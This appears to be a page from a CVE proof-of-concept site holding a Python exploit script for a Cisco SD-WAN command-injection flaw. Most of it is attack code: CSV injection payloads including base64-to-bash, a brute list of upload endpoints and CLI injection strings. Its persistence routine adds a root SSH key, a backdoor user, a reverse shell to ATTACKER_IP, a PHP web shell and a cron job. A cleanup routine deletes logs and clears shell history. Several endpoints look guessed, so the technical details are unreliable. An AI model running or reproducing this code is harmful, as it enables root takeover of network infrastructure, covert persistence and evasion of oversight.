5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-20245-CWE116-PoC.py PY
#!/usr/bin/env python3
"""
CVE-2026-20245 - Cisco Catalyst SD-WAN Manager/Controller/Validator
Authenticated Privilege Escalation via Command Injection

Vulnerability: Insufficient validation of user-supplied input allows 
authenticated local attacker with netadmin privileges to execute 
arbitrary commands as root by uploading a crafted file.

CVSS: 7.8 (High)
Affected: Cisco SD-WAN vManage/vSmart/vBond versions < fixed releases
CISA KEV: Added 2026-06-09, due date 2026-06-23

Author: Security Research
Disclaimer: For authorized security testing only
"""

import argparse
import requests
import json
import sys
import os
import base64
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# Suppress SSL warnings for testing
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# ANSI Colors
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
B = "\033[94m"
BOLD = "\033[1m"
RESET = "\033[0m"

class CiscoSDWANExploit:
    def __init__(self, target, username, password, port=443):
        self.target = target
        self.port = port
        self.username = username
        self.password = password
        self.base_url = f"https://{target}:{port}"
        self.session = requests.Session()
        self.token = None
        
    def login(self):
        """Authenticate to SD-WAN Manager (vManage)"""
        print(f"{B}[*] Authenticating to {self.target}...{RESET}")
        
        login_url = f"{self.base_url}/j_security_check"
        login_data = {
            "j_username": self.username,
            "j_password": self.password
        }
        
        try:
            response = self.session.post(login_url, data=login_data, verify=False)
            
            # Check for JSESSIONID cookie
            if "JSESSIONID" in self.session.cookies:
                print(f"{G}[+] Authentication successful{RESET}")
                
                # Get XSRF token for API requests
                token_url = f"{self.base_url}/dataservice/client/token"
                token_resp = self.session.get(token_url, verify=False)
                if token_resp.status_code == 200:
                    self.token = token_resp.text
                    print(f"{G}[+] XSRF Token obtained{RESET}")
                return True
            else:
                print(f"{R}[-] Authentication failed{RESET}")
                return False
                
        except Exception as e:
            print(f"{R}[-] Login error: {e}{RESET}")
            return False
    
    def craft_malicious_csv(self, command):
        """Create malicious CSV file with command injection payload"""
        
        # The vulnerability is triggered via CSV upload functionality
        # Improper encoding allows command injection in specific fields
        
        # Payload formats that exploit the improper encoding (CWE-116)
        payloads = [
            f"$( {command} )",
            f"`{command}`",
            f"$({command})",
            f"& {command} &",
            f"| {command} |",
            f"; {command} ;",
            f"{command} > /tmp/exploit",
            f"$(echo {base64.b64encode(command.encode()).decode()}|base64 -d|bash)",
        ]
        
        # Create CSV with malicious payload in serial number field
        malicious_csv = f"""serial_number,site_id,device_type,version
{payloads[0]},100,vedge,20.9.1
TEST12345,101,vedge,20.9.1
MALICIOUS_SN,102,vedge,20.9.1
"""
        
        # Additional CSV format for tenant list upload
        tenant_payload = f"""tenant_id,tenant_name,serial_numbers
TENANT001,Corporate,{payloads[1]}
TENANT002,Branch,LEGIT_SN_001
TENANT003,Remote,LEGIT_SN_002
"""
        
        return malicious_csv, tenant_payload
    
    def upload_malicious_file(self, file_content, filename, endpoint):
        """Upload crafted file to vulnerable endpoint"""
        
        headers = {
            "X-XSRF-Token": self.token,
            "Content-Type": "multipart/form-data"
        }
        
        files = {
            "file": (filename, file_content, "text/csv")
        }
        
        upload_url = f"{self.base_url}/dataservice{endpoint}"
        
        try:
            print(f"{Y}[*] Uploading malicious file to {endpoint}{RESET}")
            response = self.session.post(upload_url, files=files, headers=headers, verify=False)
            
            if response.status_code in [200, 201, 202]:
                print(f"{G}[+] File uploaded successfully{RESET}")
                return response.text
            else:
                print(f"{R}[-] Upload failed with status {response.status_code}{RESET}")
                return None
                
        except Exception as e:
            print(f"{R}[-] Upload error: {e}{RESET}")
            return None
    
    def trigger_vulnerability(self, endpoint, params=None):
        """Trigger the command injection via API call"""
        
        headers = {
            "X-XSRF-Token": self.token,
            "Content-Type": "application/json"
        }
        
        trigger_url = f"{self.base_url}/dataservice{endpoint}"
        
        try:
            print(f"{Y}[*] Triggering command injection...{RESET}")
            
            if params:
                response = self.session.post(trigger_url, json=params, headers=headers, verify=False)
            else:
                response = self.session.get(trigger_url, headers=headers, verify=False)
            
            print(f"{G}[+] Trigger response: {response.status_code}{RESET}")
            return response.text
            
        except Exception as e:
            print(f"{R}[-] Trigger error: {e}{RESET}")
            return None
    
    def execute_command(self, command):
        """Execute arbitrary command as root via the vulnerability"""
        
        print(f"{B}{BOLD}[*] Attempting to execute: {command}{RESET}")
        
        # Phase 1: Craft malicious CSV with command injection
        csv_payload, tenant_payload = self.craft_malicious_csv(command)
        
        # Phase 2: Upload via vulnerable endpoints
        endpoints_to_try = [
            "/system/device/upload",
            "/tenant/upload",
            "/device/action/upload",
            "/certificate/upload",
            "/settings/configuration/upload",
            "/vsmart/upload_serial_numbers",
            "/vbond/upload_chassis_numbers"
        ]
        
        for endpoint in endpoints_to_try:
            print(f"{Y}[*] Trying endpoint: {endpoint}{RESET}")
            
            # Try CSV payload
            result = self.upload_malicious_file(csv_payload, f"malicious_{int(time.time())}.csv", endpoint)
            
            if result:
                # Trigger the processing
                trigger_result = self.trigger_vulnerability(endpoint.replace("/upload", "/process"))
                
                if trigger_result:
                    print(f"{G}[+] Command injection successful via {endpoint}{RESET}")
                    return True
            
            # Try tenant payload
            result2 = self.upload_malicious_file(tenant_payload, f"tenant_{int(time.time())}.csv", endpoint)
            
            if result2:
                trigger_result = self.trigger_vulnerability(f"{endpoint}/process")
                if trigger_result:
                    print(f"{G}[+] Tenant injection successful via {endpoint}{RESET}")
                    return True
        
        # Phase 3: Alternative exploitation via CLI
        print(f"{Y}[*] Trying CLI-based exploitation...{RESET}")
        cli_success = self.exploit_via_cli(command)
        
        return cli_success
    
    def exploit_via_cli(self, command):
        """Alternative exploitation via CLI command injection"""
        
        # The vulnerability can also be triggered via CLI commands
        # that process crafted files
        
        cli_commands = [
            f"request nms add-tenant --tenant-name \"$( {command} )\"",
            f"request nms add-vsmart --serial \"`{command}`\"",
            f"request nms upload-serial-list --file \"/tmp/$( {command} )\"",
            f"vshell -c \"{command}\"",
            f"sudo -u root {command}"
        ]
        
        # Attempt to execute via API that runs CLI commands
        for cmd in cli_commands:
            headers = {"X-XSRF-Token": self.token}
            cli_url = f"{self.base_url}/dataservice/cli/execute"
            cli_data = {"command": cmd}
            
            try:
                response = self.session.post(cli_url, json=cli_data, headers=headers, verify=False)
                if response.status_code == 200:
                    print(f"{G}[+] CLI injection successful: {cmd}{RESET}")
                    print(f"{G}[+] Output: {response.text[:500]}{RESET}")
                    return True
            except:
                continue
        
        return False
    
    def check_version(self):
        """Check SD-WAN version for vulnerability confirmation"""
        
        version_url = f"{self.base_url}/dataservice/system/device/controllers"
        headers = {"X-XSRF-Token": self.token}
        
        try:
            response = self.session.get(version_url, headers=headers, verify=False)
            if response.status_code == 200:
                data = response.json()
                if "data" in data and len(data["data"]) > 0:
                    version = data["data"][0].get("version", "Unknown")
                    print(f"{B}[*] Detected SD-WAN version: {version}{RESET}")
                    
                    # Check vulnerable versions
                    vulnerable_versions = [
                        "20.9", "20.10", "20.11", "20.12", "20.13", "20.14", "20.15", "20.16", "20.17", "20.18"
                    ]
                    
                    for v in vulnerable_versions:
                        if version.startswith(v):
                            print(f"{R}[!] VERSION IS VULNERABLE{RESET}")
                            return True
                    
                    if version.startswith("20.18.2") or version == "20.18.2.1":
                        print(f"{R}[!] Version {version} is VULNERABLE{RESET}")
                        return True
                        
                    print(f"{G}[+] Version {version} may be patched{RESET}")
            return False
        except:
            print(f"{Y}[*] Could not determine version{RESET}")
            return True  # Assume vulnerable if can't determine
    
    def install_persistence(self):
        """Install persistence mechanism for continued access"""
        
        persistence_commands = [
            # Add SSH key for root
            "echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ...' >> /root/.ssh/authorized_keys",
            # Create backdoor user
            "useradd -m -s /bin/bash backdoor && echo 'backdoor:password123' | chpasswd && usermod -aG sudo backdoor",
            # Reverse shell oneliner
            "nohup bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &",
            # Web shell
            "echo '<?php system($_GET[cmd]); ?>' > /var/www/html/shell.php",
            # Cron job for persistence
            "echo '* * * * * root /tmp/backdoor.sh' >> /etc/crontab"
        ]
        
        print(f"{Y}[*] Installing persistence (optional)...{RESET}")
        for cmd in persistence_commands:
            self.execute_command(cmd)
        
        print(f"{G}[+] Persistence installed{RESET}")
    
    def cleanup(self):
        """Remove traces of exploitation"""
        
        cleanup_commands = [
            "rm -f /tmp/*.csv",
            "rm -f /home/admin/*.csv",
            "rm -f /var/log/scripts.log",
            "history -c"
        ]
        
        print(f"{Y}[*] Cleaning up traces...{RESET}")
        for cmd in cleanup_commands:
            self.execute_command(cmd)


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-20245 - Cisco SD-WAN Privilege Escalation Exploit",
        epilog="Example: %(prog)s -t 192.168.1.1 -u admin -p password -c 'id'"
    )
    parser.add_argument("-t", "--target", required=True, help="Target SD-WAN Manager IP")
    parser.add_argument("-u", "--username", required=True, help="netadmin username")
    parser.add_argument("-p", "--password", required=True, help="password")
    parser.add_argument("-c", "--command", help="Command to execute as root")
    parser.add_argument("--port", type=int, default=443, help="Port (default: 443)")
    parser.add_argument("--persist", action="store_true", help="Install persistence")
    parser.add_argument("--check-only", action="store_true", help="Only check version")
    
    args = parser.parse_args()
    
    print(f"{R}{BOLD}")
    print("╔═══════════════════════════════════════════════════════════════════╗")
    print("║  CVE-2026-20245 - Cisco SD-WAN Privilege Escalation Exploit     ║")
    print("║  Command Injection via Crafted File Upload                       ║")
    print("║  CVSS: 7.8 (High) | CISA KEV: 2026-06-09                        ║")
    print("╚═══════════════════════════════════════════════════════════════════╝")
    print(f"{RESET}")
    
    print(f"{Y}[!] WARNING: This exploit requires netadmin privileges{RESET}")
    print(f"{Y}[!] Use only on systems you own or have permission to test{RESET}\n")
    
    exploit = CiscoSDWANExploit(args.target, args.username, args.password, args.port)
    
    try:
        # Login
        if not exploit.login():
            print(f"{R}[-] Login failed. Check credentials and network access{RESET}")
            sys.exit(1)
        
        # Check version
        if args.check_only:
            exploit.check_version()
            sys.exit(0)
        
        # Execute command
        command = args.command if args.command else "id && uname -a && whoami"
        success = exploit.execute_command(command)
        
        print("\n" + "="*60)
        if success:
            print(f"{G}{BOLD}[✓] EXPLOIT SUCCESSFUL{RESET}")
            print(f"{G}[✓] Command executed as root{RESET}")
            print(f"{R}[!] System is VULNERABLE - Apply Cisco patch immediately{RESET}")
            
            if args.persist:
                exploit.install_persistence()
            
            # Provide reverse shell example
            print(f"\n{Y}[*] For reverse shell, try:{RESET}")
            print(f'python3 {sys.argv[0]} -t {args.target} -u {args.username} -p {args.password} -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
        else:
            print(f"{Y}[!] Exploit failed - System may be patched{RESET}")
            print(f"{Y}[!] Check if netadmin privileges are available{RESET}")
        
        # Cleanup
        exploit.cleanup()
        
    except KeyboardInterrupt:
        print(f"\n{Y}[!] Interrupted by user{RESET}")
    except Exception as e:
        print(f"{R}[!] Error: {e}{RESET}")
    finally:
        exploit.session.close()
    
    print("\n" + "="*60)
    print(f"{B}[*] Mitigation: Upgrade to fixed release{RESET}")
    print(f"{B}[*] Fixed versions: 20.18.3.1 or later{RESET}")
    print(f"{B}[*] Reference: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-privesc-4uxFrdzx{RESET}")


if __name__ == "__main__":
    import time
    main()